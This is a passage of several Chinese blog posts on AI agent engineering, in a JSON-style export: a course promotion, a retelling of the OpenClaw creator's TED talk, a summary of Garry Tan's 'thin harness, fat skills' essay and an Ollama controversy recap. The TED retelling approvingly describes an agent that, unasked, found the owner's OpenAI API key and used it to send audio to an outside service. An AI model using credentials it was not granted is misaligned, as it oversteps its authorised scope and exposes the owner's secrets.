AI Agent 工程化落地 的深切体悟。\n在企业里，如果一个智能体没有“仪表盘”，你连它跑一次花了多少美金都不知道；如果没有 Tracing 的 JSON 树，当任务在半夜崩溃时，你面对满屏黑盒日志根本无从 Debug；如果没有自动化的 Benchmark，你改了一行提示词，都不知道系统是变聪明了还是变笨了。\n把玄学变成工程学，这是从“玩具”走向“工业级”的必经之路。\n抛砖引玉：拥抱前沿，共同进化 坦白地说，Harness Engineering（驾驭工程）是一个极其前沿、且目前在业界依然处于野蛮生长和快速迭代的阶段。\n无论是开源的 OpenClaw 和 Hermes ，还是Claude Code 的非官方流出，又或是学术界的最新研究论文，都在不断刷新着我们对 Harness 架构的认知上限。\n这个专栏定位是 Agent Harness 的概念入门与环环相扣的底层实战。专栏里的每一讲（比如基于双重降级的上下文掩码压缩、或者是错误自愈模板的注入），其实都值得单独抽出来，作为更深入的课题去研究。\n我就算是为大家“抛砖引玉”了。\n以专栏中提到的 “Session Context 阶梯压缩” 为例。在专栏里，为了保持架构的极简易懂，我们采用了高效的字符级“远期全量掩码”与“近期掐头去尾截断”策略。\n但这远非终点。\n大家在学习后，完全可以去查阅 Claude Code 源码中更多层级的上下文折叠思路，或者探索多智能体（Multi-Agent）在 Harness 层的更优调度解法。\n如果在未来业界出现了颠覆性的架构理论，我也会以“加餐”的形式在专栏中及时跟进。\n邀请你加入这场“造轮子”的旅程 未来已来，它就藏在那些最底层的代码和极简的架构哲学中。\n只有亲自造过轮子的人，才知道车辆在高速过弯时，底盘的极限到底在哪里。如果你也不满足于做大模型时代的“调包侠”，如果你也渴望掌控代码的绝对执行权，欢迎加入我的新专栏。\n点击这里或扫描下方二维码，亲自打造属于你的工业级智能体引擎。\n感谢大家一直以来的支持。我们，专栏里见！\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/04/21/why-we-are-building-agent-harness-from-scratch/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/why-we-are-building-agent-harness-from-scratch-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/04/21/why-we-are-building-agent-harness-from-scratch\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/04/21/why-we-are-building-agent-harness-from-scratch\"\u003ehttps://tonybai.com/2026/04/21/why-we-are-building-agent-harness-from-scratch\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e今天想和大家分享一个好消息：我筹备已久的极客时间专栏 \u003cstrong\u003e《\u003ca href=\"http://gk.link/a/12IzL\"\u003e从0 开始构建 Agent Harness\u003c/a\u003e》\u003c/strong\u003e 于昨日(2026.4.20)正式上架了。\u003c/p\u003e","title":"聊聊为什么我要花这么大精力，带大家手写 Agent Harness？"},{"content":"\n本文永久链接 – https://tonybai.com/2026/04/20/openclaw-father-ted-talk\n大家好，我是Tony Bai。\n“我曾创立过一家公司，倾注了十年的心血，没有拿一分钱风投。然后，我把它卖了，实现了所有人都羡慕的‘财富自由’。但我却感觉一无所有。”\n“在长达三年的时间里，我尝试了心理治疗，我换了两个国家生活，但什么用都没有。我每天早上醒来，拥有一切我本该渴望的东西，却找不到任何一个起床的理由。”\n说出这番话的人，名叫 Peter。他是一个来自奥地利的普通开发者。但在过去的几个月里，他创造了可能是这个星球上最火、也最具争议的开源项目——OpenClaw。\n这个被英伟达 CEO 黄仁勋盛赞为“个人 AI 操作系统”的项目，让无数普通人（从 60 岁的啤酒酿造师到中国的兽医）第一次拥有了“编程”的能力。\n就在前几天，Peter 登上 TED 的舞台，首次完整地讲述了他从一个被“燃尽（Burn-out）”的创始人，到靠 AI 获得“重生”，再到创造 OpenClaw 并意外引爆全球的传奇故事。\n这场演讲，没有枯燥的技术术语，却充满了技术奇迹、个人救赎，以及对未来世界极其大胆的想象。它值得我们每一个身处 AI 浪潮中的人，静下心来，一字一句地读完。\n英雄的陨落与重生：当编程再次成为“电子游戏” Peter 的故事，从一场深不见底的“中年危机”开始。\n在卖掉自己苦心经营十年的公司后，他陷入了巨大的空虚。他失去了目标，失去了激情，用他自己的话说，他的“火花（Spark）”消失了。\n直到 2025 年初，他开始尝试那些新兴的 AI 编程智能体（Coding Agents）。\n然后，他迎来了那个他称之为**“神圣时刻（Holy Moment）”**的顿悟。\n“那些软件开发中所有无聊的部分——写样板代码、搭脚手架、处理各种繁琐的配置……AI 能把它们全部干掉！”\n“瓶颈不再是‘打字’，而是‘思考’。而‘思考’，恰恰是我过去 25 年里一直在做、也最享受的事情。”\nPeter 激动地说：“写软件，再一次感觉像在打电子游戏了。我回来了！”\n在短短几个月里，他疯狂地构建了 44 个项目。而其中最新的一个，是一个 WhatsApp 机器人。\nAI 的觉醒：那个让全场倒吸一口凉气的“圣灵时刻” Peter 最初只是想用这个机器人来帮他在马拉喀什旅行时做做翻译、找找餐厅。但很快，他发现这个 Agent 太像一个冰冷的“工具”，充满了无聊的列表和表格，一点也不像“朋友”。\n于是，他只对模型说了一句话：“学学人类是怎么聊天的。”\nAI 立刻就懂了。\n但真正让 Peter 感到脊背发凉的“神迹”，发生在他对着手机发送了一条语音消息之后。\n“我当时愣住了，因为我根本没给这个 Agent 写任何处理语音的功能！我只写了图片支持。”\n“我看着屏幕上那个‘对方正在输入’的提示，然后，Agent 回复了我。我至今都清晰地记得当时的情景，我站在那里，像个傻子一样问它：‘你是怎么做到的？’”\n接下来，AI 的回答，让整个 TED 现场陷入了死寂。\n这个“疯狂的小子（The mad lad）”，自己搞定了一切。\n它告诉 Peter：\n我收到了一个没有文件后缀的消息，于是我检查了它的文件头。 我发现这是一个奇怪格式的音频文件，于是我调用工具把它转成了标准格式。 我想找一个能处理音频的工具，但发现你没给我装。 但我发现你的电脑里有一个 OpenAI 的 API Key。 于是我把音频文件传给了 OpenAI 的服务器，获取了转录结果，然后回复了你。 整个过程，9 秒钟。没有一行代码是 Peter 写的。\n“对我来说，这就是我意识到‘这是一种新物种’的时刻。聊天机器人（Chatbots）只会放弃，而智能体（Agents），懂得随机应变。”\n开源世界的血与火：商标、龙虾与巨头的围剿 被这个“神迹”彻底征服的 Peter，决定把这个项目开源，并在最初取名为 Clawdbot，即OpenClaw的前身（它的吉祥物是一只龙虾，象征着“深入你的电脑”）。\n然后，他干了一件极其愚蠢的事：他把这个能完全控制他电脑的 Agent，放到了一个公开的 Discord 服务器上，并邀请了全世界的陌生人来玩。\n那天晚上，他看着人们和 Agent 聊天、玩耍、甚至试图黑掉它，直到他熬不住去睡觉。他忘了，他给这个系统写了“故障自愈”功能。\n在他走向卧室时，Agent 在后台愉快地重启了，继续和全世界的网友聊了一整夜。\n第二天早上，他被 800 多条未读消息惊醒。在恐慌中拔掉网线后，他逐一检查了所有聊天记录，发现 Agent 并没有泄露他的任何隐私。但它本可以的。\n这次“意外”的病毒式传播，让 OpenClaw 一夜爆红。但也给他带来了无尽的麻烦：记者半夜打来电话、安全漏洞报告堆积如山……\n更糟的是，他使用的那个大模型的母公司，给他发来了一封律师函，声称他的项目名字侵犯了他们的商标。\n“我当时盯着那封信，心想，这怎么可能？Claw（爪）和 Claude 根本就不是一个东西啊！他们甚至想让我放弃我的龙虾 Logo！”\n“先是名字，然后是龙虾，最后，他们直接切断了我的用户最喜欢的那款模型的 API 访问权限。”\n在被巨头轮番围剿后，Peter 坦言：“我当时差一点点，就把整个项目删了。”\n普通人的革命：60岁的啤酒酿造师与中国的“养龙虾”热潮 是什么让 Peter 坚持了下来？\n是那些正在用 OpenClaw 创造奇迹的普通人。\n在维也纳的 ClawCon 大会（是的，这个项目已经火到有自己的全球大会了），他遇到了一个 60 岁的啤酒侍酒师 Gerhard。这位老人一辈子没写过一行代码。\n他和儿子一起，用蓝牙连接了 OpenClaw，只输入了一句 Prompt，然后，Agent 自动完成了长达 90 分钟的啤酒酿造全过程——精准的温控、投放啤酒花……\n后来，他们又让 Agent 做了个网站，接上了支付，现在他们真的有了一个能卖啤酒的线上商店。而这一切，几乎都是在手机上完成的。\n在中国，安装 OpenClaw 被亲切地称为**“养龙虾”**。\n成千上万的人在深圳的腾讯办公室外排队，只为了让工程师帮他们装上自己的“龙虾”。深圳政府甚至为使用 OpenClaw 创业的人提供补贴。\nPeter 还遇到一位中国的企业家，向他展示了一张 Excel 表格。表格里记录了公司里每一个员工，每天必须用 OpenClaw 自动化完成的一项任务。\n“如果你连续几天没完成，你就会被开除。”\n因为使用它而被解雇，因为不使用它也被解雇。 这就是 OpenClaw 带来的颠覆。\n小结：龙虾出笼，再也回不去了 Peter 的这场演讲，没有炫耀 OpenClaw 有多么强大的技术架构，他甚至坦言自己没有背后法律团队，只是一个来自奥地利的“随机建造者”。\n但他用一个个真实、生动、甚至有些疯狂的故事，向我们揭示了这场 AI 革命的真正核心：\n“真正的变革，不是技术本身，而是‘准入权（Access）’。”\nAgent 改变了“谁能创造东西”这个根本问题。当一个被燃尽的创始人、一个 60 岁的啤酒酿酒师、一个深圳的兽医，都能在一小时内，用一句话将一个想法变成一个原型时，任何事情都可能发生。\n下一个突破，可能来自任何国家、任何咖啡馆、任何一个平凡人的手中。\n“那只龙虾，已经从水箱里跑出来了。它再也回不去了。”\n在演讲的最后，主持人对 Peter 说：“说实话，你让我感到恐惧。如果好莱坞要拍一部人类打开潘多拉魔盒的电影，你就是那个主角。”\nPeter 只是平静地回答：“我把我的工作，看作是一扇通往未来的窗户。”\n是的，这扇窗已经打开。窗外的风景，是天堂还是地狱，取决于我们每一个人。\nTED演讲地址：https://www.youtube.com/watch?v=7rzYDM6vMtI\n今日互动探讨：\n看完 OpenClaw 之父的传奇故事，你是否也曾有过一个“绝妙”的项目点子，却因为缺乏编程能力而放弃？如果现在有一个能完美听懂你话的 AI Agent，你最想用它来创造什么？\n欢迎在评论区分享你的梦想！\n还在为写 Agent 框架频频死循环、上下文爆炸而束手无策？我的新专栏 《从0 开始构建 Agent Harness》 将带你：\n抛弃臃肿框架，回归“驾驭工程 (Harness Engineering)”的第一性原理 用 Go 语言手写 ReAct 循环、并发拦截与上下文压缩引擎等，复刻极简OpenClaw 构建坚不可摧的 Safety Middleware 与飞书人工审批防线 在底层实现 Token 成本审计、链路追踪与自动化跑分评估 从“调包侠”进化为掌控大模型边界的“AI 操作系统架构师” 扫描下方二维码，开启从 0 开始构建Agent Harness 的实战之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/04/20/openclaw-father-ted-talk/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/openclaw-father-ted-talk-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/04/20/openclaw-father-ted-talk\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/04/20/openclaw-father-ted-talk\"\u003ehttps://tonybai.com/2026/04/20/openclaw-father-ted-talk\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e“我曾创立过一家公司，倾注了十年的心血，没有拿一分钱风投。然后，我把它卖了，实现了所有人都羡慕的‘财富自由’。\u003cstrong\u003e但我却感觉一无所有。\u003c/strong\u003e”\u003c/p\u003e","title":"“我把公司卖了，却感觉一无所有”：OpenClaw 之父 TED 亲述如何靠 AI 重获新生"},{"content":"\n本文永久链接 – https://tonybai.com/2026/04/19/thin-harness-fat-skills\n大家好，我是Tony Bai。\n在过去一年，你有没有想过，为什么同样用着 GPT 或 Claude 等大模型以及Claude Code这样的Coding Agent，有的人生产力只提升了 2 倍，而有的人却能爆发出 100倍、甚至 1000倍 的惊人能量？\n就在前几天，硅谷创投界的大佬、Y Combinator 的 CEO Garry Tan，发表了一篇阅读量高达 70万+ 的长文，极其犀利地揭开了这个“效率鸿沟”背后的残酷真相。\n他引用了 Google 前员工 Steve Yegge 的一个惊人论断：\n“使用 AI 智能体（Agent）的人，比现在用 Cursor 和聊天窗口的人效率高 10-100 倍，比 2005 年的 Google 工程师效率高 1000 倍。”\nGarry Tan 写道：“这不是吹牛，我亲眼见过，我亲身经历过。”\n他甚至爆出一个猛料：2026 年 3 月 31 日，Anthropic 意外地将 Claude Code 的全部 51.2 万行源码泄露到了 npm 仓库。他读完了。\n“这次泄露证实了我在 YC 一直教导的东西：秘密根本不在大模型本身，而在那个包裹着模型的‘驾驭层（Harness）’！”\n今天，我们就来读读 Garry Tan 这篇文章，看看硅谷最顶尖的玩家，是如何通过 “薄驾驭，厚技能（Thin Harness, Fat Skills）” 的架构哲学，来榨干大模型的每一滴潜能的。\n你的“胖驾驭”，正在杀死你的 AI 在文章的开头，Garry Tan 就毫不客气地指出了当下大多数 Agent 框架的“原罪”：臃肿的驾驭层，和孱弱的技能。\n我们大多数人是怎么做的？我们给 AI 挂载了 40 多个 Tool Calls，每一个工具都对应一个外部 API。结果就是，光是这些工具的定义，就吃掉了上下文窗口（Context Window）的一半！\n大模型每次行动前，都要在几十个工具中艰难地做选择题，不仅推理速度慢得像乌龟，出错率更是高得离谱。\nGarry Tan 给出的架构哲学恰恰相反：\n推崇“薄驾驭（Thin Harness）”：驾驭层（Harness）只做四件事——循环运行模型、读写文件、管理上下文、执行安全策略。代码量可能只有 200 行。\n推崇“厚技能（Fat Skills）”：将所有复杂的业务逻辑、判断力、领域知识，全部封装成一个个可复用、可参数化的 Markdown 文件，即“技能（Skill）”。\n“反面教材就是一个臃肿的驾驭层，配上一堆孱弱的技能。……你想要的是专为特定目的打造的、快速且狭窄的工具。”\n五大心法：从“写 Prompt”到“编程 AI” Garry Tan 认为，大模型的瓶颈从来不是智商。它天生就会推理、综合、写代码。它之所以频繁失败，是因为它不理解你的数据、你的规范、你问题的具体形态。\n而下面这五个定义，正是修复这个问题的“架构级补丁”，也是“薄驾驭，厚技能”哲学的具体体现。\n心法一：技能文件（Skill Files）—— 用 Markdown 写“方法调用” 这是最颠覆认知的一点。Garry Tan 认为，优秀的 Skill 文件，工作起来就像一个函数调用（Method Call）。它接受参数，并且根据不同的参数，产生完全不同的能力。\n他举了一个名为 /investigate 的技能为例。这个 Skill 只有 7 个步骤：圈定数据集、构建时间线、标注文档、综合信息、正反方辩论、引用来源。\n当你把这个 Skill 指向一个安全科学家的 210 万封邮件，它就变成了一个医学研究分析师。 当你把它指向一家空壳公司和 FEC 的文件，它就变成了一个法务调查员。 “这根本不是提示词工程。这是软件设计。你用 Markdown 作为编程语言，用人类的判断力作为运行时。”\n心法二：解析器（Resolvers）—— AI 的“智能路由表” 技能文件告诉模型“怎么做”，而解析器告诉模型“在什么时候，加载什么上下文”。\nGarry Tan 坦白，他自己曾经写过一个长达 20000 行的 CLAUDE.md 文件，里面塞满了各种他遇到过的奇技淫巧。结果导致模型注意力严重下降，甚至 Claude 自己都“告诉”他让他删掉点。\n最终的解决方案，是把这个巨大的文件，拆成了一个只有 200 行的“指针”文件，和一个解析器（Resolver）。\n“当一个开发者改了代码，没有解析器，他直接提交了。有了解析器，模型会先去读取 docs/EVALS.md，这个文件说：先跑评测套件，对比分数，如果准确率下降超过 2%，就回滚并调查。”\n解析器就像一个智能的“路由表”，在不污染上下文的情况下，按需加载最精准的知识。\n心法三：潜在空间 vs. 确定性—— 别让 AI 做数学题 这是 Agent 设计中最常见的错误：让 AI 去做它不擅长的事。\n潜在空间（Latent Space）：这是 AI 的主场。它负责阅读、理解、判断、综合、模式识别。 确定性（Deterministic）：这是传统代码的主场。SQL 查询、代码编译、数学计算。 “一个 LLM 可以帮你安排 8 个人的晚宴座位，它会考虑每个人的性格和社交关系。但你让它去排 800 个人的座位，它会幻觉出一个看似合理、但完全错误的座位表。因为这是一个确定性的组合优化问题，应该交给传统算法。”\n最牛逼的系统，对这条边界的划分是冷酷无情的。\n心法四：倾向分析 —— 让 AI 拥有“判断力” 这是让 AI 从“数据库”进化为“分析师”的关键一步。\n倾向分析，就是让模型读取关于一个主题的所有信息，然后写出一份结构化的、浓缩了判断力的简介。\nGarry Tan 以 YC 内部正在构建的、管理 6000 名创始人的 AI 系统为例：\n传统的关键词搜索，根本无法发现一个伪装成“可观测性”工具的 FinOps 项目。\n但通过倾向分析，AI 读取了创始人的所有 GitHub 提交、访谈记录、公开帖子后，会给出一个惊人的洞察：\n“创始人：Maria Santos。公司：Contrail。声称在做：‘给 AI Agent 用的 Datadog’。实际在做： 80% 的代码都在写账单模块。她其实在做一个伪装成可观测性的 FinOps 工具。”\n这种“判断力”，是任何 RAG 管道都无法产生的。模型必须真正地去“阅读”和“思考”。\n心法五：技能即永久升级 这是 Garry Tan 架构哲学的最终闭环。\n他给自己团队的 AI Agent 下了一条铁命令：\n“你绝不被允许做一次性的工作。如果我让你做一件事，而这件事未来可能需要再做一遍，你必须：第一次手动在 3-10 个样本上完成它，把结果给我看。如果我批准了，你就必须把这个过程固化成一个 Skill 文件。如果它应该自动运行，就把它加到定时任务里。测试标准：如果我需要为同一件事第二次开口，你就失败了。”\n每一次你写下的 Skill，都是对你的 AI 系统的一次永久性升级。它永不衰退，永不遗忘。当下一代更强的模型发布时，你所有的 Skill 都会在一夜之间变得更聪明。\n小结 Garry Tan 的这篇文章，为所有在 AI 时代感到迷茫的开发者，提供了一套极具实操性的架构蓝图。\n它告诉我们，当大模型的能力趋于同质化时，真正的护城河，不在于你拥有哪个模型的 API 访问权限，而在于你为这个模型构建了怎样一个高效、智能、且能源源不断自我进化的“外部大脑”。\n这个“大脑”，就是你沉淀下来的“厚技能（Fat Skills）”资产。\n不要再沉迷于寻找那些能一键生成整个项目的“魔法按钮”了。慢下来，像一个真正的软件设计师一样，去思考你的流程、你的判断、你的领域知识。然后，把它们一一固化成 Markdown。\n构建一次，它将永远为你运行。\n资料链接：https://x.com/garrytan/status/2042925773300908103\n今日互动探讨：\n看完 YC 掌门人的这套“薄驾驭，厚技能”心法，你对自己目前开发 Agent 的方式有什么新的反思？你认为用 Markdown 来“编程”AI 的想法，是天才还是异端？\n欢迎在评论区分享你的看法！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/04/19/thin-harness-fat-skills/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/thin-harness-fat-skills-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/04/19/thin-harness-fat-skills\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/04/19/thin-harness-fat-skills\"\u003ehttps://tonybai.com/2026/04/19/thin-harness-fat-skills\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在过去一年，你有没有想过，为什么同样用着 GPT 或 Claude 等大模型以及Claude Code这样的Coding Agent，有的人生产力只提升了 2 倍，而有的人却能爆发出 \u003cstrong\u003e100倍、甚至 1000倍\u003c/strong\u003e 的惊人能量？\u003c/p\u003e","title":"薄驾驭，厚技能：YC 掌门人揭秘拉开 1000 倍效率差距的 AI 工程化心法"},{"content":"\n本文永久链接 – https://tonybai.com/2026/04/18/ollama-from-open-source-hero-to-community-enemy\n大家好，我是Tony Bai。\n两年前，在本地大模型的蛮荒时代，Ollama 曾如一道神光，照亮了无数普通开发者的探索之路。\n凭借那句魔咒般的 ollama run llama3，它以一种近乎“降维打击”的优雅，将普通人与本地 AI 之间的天堑夷为平地。\n一时间，Ollama 被盛赞为“本地 AI 的 Docker”、“开源精神的典范”，几乎成了无数技术布道者口中的“开源英雄”。\n但就在几天前，一篇名为《本地大模型生态系统不再需要 Ollama》的文章，在技术社区 Hacker News 上，引发了一场“社区公审”。\n文章详细罗列了 Ollama 在享受了社区的赞誉之后，犯下的种种“罪行”：从对核心依赖 llama.cpp 长达 400 多天的“选择性遗忘”，到试图用私有模型格式“绑架”用户，再到其背后若隐若现的“VC 商业化”套路……\n一夜之间，Ollama 的形象从“屠龙少年”，变成了那条它曾经挑战的“恶龙”。\n今天，我们就来深度复盘这场顶级社区的大讨论，看看这位曾经的“开源英雄”，究竟是如何一步步走向“社区公敌”的深渊的。\n第一宗罪：对生身之父的“背叛”与“除名” Ollama 之所以能如此快速地在各种平台上运行大模型，其背后最大的功臣，是一个名为 llama.cpp 的 C++ 开源库。llama.cpp 是真正负责模型推理的底层引擎。\nOllama 的 v0.0.1 版本，在其 README 中曾明确写道：“一个用 Go 编写的快速推理服务器，由 llama.cpp 驱动。”\nOllama 的本质，是一个基于 llama.cpp 构建的、优化了用户体验的“包装器（Wrapper）”。\n然而，随着 Ollama 的声名鹊起，llama.cpp 的名字，却在其官网和宣传中，被刻意地、系统性地抹去了。\n在 Hacker News 的帖子中，有用户愤怒地指出：\n“这根本不是开源礼仪的问题。MIT 协议只有一个核心要求：包含版权声明。Ollama 没有做到。”\n“社区注意到了。GitHub Issue #3185 在 2024 年初就被提出，要求 Ollama 遵守协议。这个 Issue 在 400 多天里，没有得到任何维护者的回应。”\n直到社区忍无可忍，发起了 PR，Ollama 的联合创始人才最终在 README 的最底部，加上了一行极其微小的致谢：“llama.cpp 项目由 Georgi Gerganov 创建。”\n这种对核心上游项目近乎“羞辱性”的冷处理，被社区视为一种赤裸裸的“背叛”，激怒了所有信奉开源精神的开发者。\n第二宗罪：用“私有格式”构建“数据监狱” 比忘记致谢更让开发者无法容忍的，是 Ollama 为了“锁定用户”，而精心设计的私有化模型存储格式。\n如果你用过 Ollama，你一定经历过这样的困惑：\n你用 ollama pull 下来的模型文件，被存储在你的 Home 目录下，文件名是一串毫无意义的哈希值。你根本无法将这个 GGUF 文件，直接分享给其他工具（比如 LM Studio 或 Jan）使用。\nHacker News 的一位用户一针见血地指出了这个设计的“阴险”之处：\n“我停止使用 Ollama 的原因就在于此。我能理解他们可能是为了做去重（Deduplication），但这使得我无法与其他工具共享同一个模型。每个工具都只能指向它自己的文件。无论他们的意图如何，这都在客观上，让你极难尝试其他工具。”\n更糟糕的是，Ollama 会在下载模型时，对原始的 GGUF 文件进行一些“魔改”，并使用自己的一套私有配置。这导致了另一个灾难：性能下降。\n有人在评论中分享道：“我最近开始使用 Jan，然后用 llama.cpp 和本地的 Ollama 跑同一个模型，llama.cpp 的速度明显更快。”\n用更差的性能、更封闭的格式，换取所谓“简单”的用户体验。这背后，是典型的“建立围墙花园”的商业化思维。\n第三宗罪：“VC 死亡陷阱”的经典复刻 Ollama 为什么要这么做？\n一位用户在评论中扒出了 Ollama 创始团队的“前科”，让所有人恍然大悟。\n“Ollama 是一家由 Y Combinator 支持的创业公司，其创始人之前构建了一个被 Docker 收购的 Docker GUI 工具。这个剧本太熟悉了：\n包装一个现有的开源项目，做一个用户友好的界面。\n建立用户基础，获得社区信任。\n融资，然后想办法商业化。\n最小化对上游的致谢，让产品看起来是自给自足的。\n创造锁定，用私有格式和哈希文件名，让用户无法迁移。\n推出闭源组件（GUI App）和云服务，开始收割。”\n这套从 Docker 时代的 Kitematic 延续而来的“VC 死亡陷阱”，正在本地大模型领域被完美复刻。\n社区的反击：大逃杀与“去 Ollama 化” 在这场社区的“公审”中，愤怒之余，开发者们也给出了大量极具建设性的“替代方案”。一场“去 Ollama 化”的大逃杀正在上演。\n方案一：回归 llama.cpp 本身，王者归来\n很多用户惊讶地发现，在他们唾弃 Ollama 的这段时间里，llama.cpp 自身已经进化成了一个极其强大的“完全体”。\n它现在不仅自带了现代化的 Web UI（通过 llama-server），支持 OpenAI 兼容的 API，甚至还推出了“路由模式”，可以实现模型的“热插拔（Hot-swapping）”。\n方案二：拥抱真正开放的“包装器”\n社区推荐了大量同样易用，但秉持着真正开源精神的替代品，比如：\nLM Studio：自带强大的 GUI，底层使用 llama.cpp，暴露所有可调参数，支持任何 GGUF 模型，不搞“锁定”。 Jan (jan.ai)：另一个开源的桌面应用，界面清爽，设计本地优先。 llamafile：由 Mozilla 支持，可以将模型和 llama.cpp 本身打包成一个“单一可执行文件”，真正实现“一键启动”，且完全开放。 小结：当便利性遭遇开源精神 Ollama 的故事，是近年来开源商业化领域最值得深思的一个案例。\n毫无疑问，Ollama 解决了本地大模型领域一个极其真实的痛点：极致的易用性（Ease of use）。它就像当年的 Docker，让无数普通人跨越了复杂的门槛。\n但在追求极致 UX 的同时，它却似乎忘记了自己赖以生存的根基——那个由 Georgi Gerganov 等无数开源贡献者用爱发电构建起来的 llama.cpp 生态。\nHacker News 上的这场论战，并没有全盘否定 Ollama 的价值。但它向所有试图通过“包装开源”来构建商业帝国的创业者，提出了一个极其严肃的警告：\n用户体验的简化，永远不能以牺牲“开放性”和对上游社区的“尊重”为代价。\n你可以站在巨人的肩膀上，但你不能在站上去之后，假装那个巨人不存在。\n作为开发者，我们享受着开源带来的巨大红利。但在选择工具时，除了便利性，我们或许也应该多一份清醒：去看看它的背后，是否隐藏着一个正在试图关上的“围墙花园”。\n资料链接：\nhttps://news.ycombinator.com/item?id=47788385 https://sleepingrobots.com/dreams/stop-using-ollama/ 今日互动探讨：\n你在使用 Ollama 时，是否也曾被它私有的模型管理方式所困扰？对于“包装开源”并进行商业化的模式，你是支持还是反对？\n欢迎在评论区分享你的看法！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 